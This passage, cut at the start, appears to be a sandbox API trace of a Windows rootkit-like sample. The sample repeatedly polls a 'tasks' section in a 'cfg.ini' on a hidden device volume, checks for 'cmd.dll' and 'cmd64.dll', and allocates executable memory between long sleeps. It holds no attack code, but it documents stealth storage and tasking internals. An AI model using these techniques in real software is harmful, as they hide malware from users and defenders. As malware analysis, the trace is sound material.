_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.194] KeEnterCriticalRegion () [0128.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.194] ExFreePoolWithTag (P=0xfffffa80037af830, Tag=0x0) [0128.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.194] KeLeaveCriticalRegion () [0128.194] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.195] ReleaseMutex (hMutex=0xf0) returned 1 [0128.195] Sleep (dwMilliseconds=0x927c0) [0128.205] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.205] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.222] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.222] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.222] KeEnterCriticalRegion () [0128.222] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.222] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.222] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.222] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.222] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.222] IdePortDispatch () returned 0x103 [0128.222] KeWaitForMutexObject () returned 0x0 [0128.222] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.222] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.222] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.222] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.223] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.223] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9860 [0128.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.223] KeLeaveCriticalRegion () [0128.223] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.223] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.223] KeEnterCriticalRegion () [0128.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.223] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.223] KeLeaveCriticalRegion () [0128.223] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.223] KeEnterCriticalRegion () [0128.223] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.223] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.223] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.223] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.223] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.223] IdePortDispatch () returned 0x103 [0128.223] KeWaitForMutexObject () returned 0x0 [0128.223] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.223] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.223] KeLeaveCriticalRegion () [0128.223] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.224] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.224] KeEnterCriticalRegion () [0128.224] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.224] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003451000 [0128.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.224] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.224] IdePortDispatch () returned 0x103 [0128.224] KeWaitForMutexObject () returned 0x0 [0128.224] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.224] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.224] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.224] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.224] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.224] IdePortDispatch () returned 0x103 [0128.225] KeWaitForMutexObject () returned 0x0 [0128.225] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.225] KeLeaveCriticalRegion () [0128.225] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.226] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.226] KeEnterCriticalRegion () [0128.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.226] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.226] KeLeaveCriticalRegion () [0128.226] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.226] KeEnterCriticalRegion () [0128.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.226] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.226] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfedc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.226] KeLeaveCriticalRegion () [0128.226] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.226] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.226] KeEnterCriticalRegion () [0128.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.226] ExFreePoolWithTag (P=0xfffffa8003ac9860, Tag=0x0) [0128.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.226] KeLeaveCriticalRegion () [0128.226] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.226] ReleaseMutex (hMutex=0xf0) returned 1 [0128.227] Sleep (dwMilliseconds=0x927c0) [0128.231] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.231] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.240] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.240] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.240] KeEnterCriticalRegion () [0128.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.240] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.240] IdePortDispatch () returned 0x103 [0128.240] KeWaitForMutexObject () returned 0x0 [0128.240] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.240] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.240] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.240] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.240] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.240] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfee50 [0128.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.241] KeLeaveCriticalRegion () [0128.241] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.241] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.241] KeEnterCriticalRegion () [0128.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.241] KeLeaveCriticalRegion () [0128.241] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.241] KeEnterCriticalRegion () [0128.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.241] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.241] IdePortDispatch () returned 0x103 [0128.241] KeWaitForMutexObject () returned 0x0 [0128.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.241] KeLeaveCriticalRegion () [0128.241] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.241] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.241] KeEnterCriticalRegion () [0128.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.242] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003455000 [0128.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.242] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.242] IdePortDispatch () returned 0x103 [0128.242] KeWaitForMutexObject () returned 0x0 [0128.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.242] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.242] IdePortDispatch () returned 0x103 [0128.242] KeWaitForMutexObject () returned 0x0 [0128.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.242] KeLeaveCriticalRegion () [0128.242] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.243] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.243] KeEnterCriticalRegion () [0128.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.243] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.243] KeLeaveCriticalRegion () [0128.243] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.243] KeEnterCriticalRegion () [0128.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.243] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.243] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.243] KeLeaveCriticalRegion () [0128.243] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.243] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.243] KeEnterCriticalRegion () [0128.243] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.243] ExFreePoolWithTag (P=0xfffffa8003bfee50, Tag=0x0) [0128.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.244] KeLeaveCriticalRegion () [0128.244] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.244] ReleaseMutex (hMutex=0xf0) returned 1 [0128.244] Sleep (dwMilliseconds=0x927c0) [0128.255] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.255] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.255] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.255] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.255] KeEnterCriticalRegion () [0128.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.255] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.255] IdePortDispatch () returned 0x103 [0128.255] KeWaitForMutexObject () returned 0x0 [0128.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.256] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.256] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.256] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.256] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.256] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adcac0 [0128.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.256] KeLeaveCriticalRegion () [0128.256] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.256] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.256] KeEnterCriticalRegion () [0128.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.256] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.256] KeLeaveCriticalRegion () [0128.256] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.256] KeEnterCriticalRegion () [0128.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.256] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.256] IdePortDispatch () returned 0x103 [0128.256] KeWaitForMutexObject () returned 0x0 [0128.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.257] KeLeaveCriticalRegion () [0128.257] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.257] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.257] KeEnterCriticalRegion () [0128.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003458000 [0128.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.257] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.257] IdePortDispatch () returned 0x103 [0128.257] KeWaitForMutexObject () returned 0x0 [0128.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.257] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.257] IdePortDispatch () returned 0x103 [0128.257] KeWaitForMutexObject () returned 0x0 [0128.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.258] KeLeaveCriticalRegion () [0128.258] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.258] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.258] KeEnterCriticalRegion () [0128.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.258] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.258] KeLeaveCriticalRegion () [0128.258] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.258] KeEnterCriticalRegion () [0128.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.258] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.259] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.259] KeLeaveCriticalRegion () [0128.259] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.259] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.259] KeEnterCriticalRegion () [0128.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.259] ExFreePoolWithTag (P=0xfffffa8002adcac0, Tag=0x0) [0128.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.259] KeLeaveCriticalRegion () [0128.259] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.259] ReleaseMutex (hMutex=0xf0) returned 1 [0128.259] Sleep (dwMilliseconds=0x927c0) [0128.277] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.277] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.278] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.278] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.278] KeEnterCriticalRegion () [0128.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.278] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.278] IdePortDispatch () returned 0x103 [0128.278] KeWaitForMutexObject () returned 0x0 [0128.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.278] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.278] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.278] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" 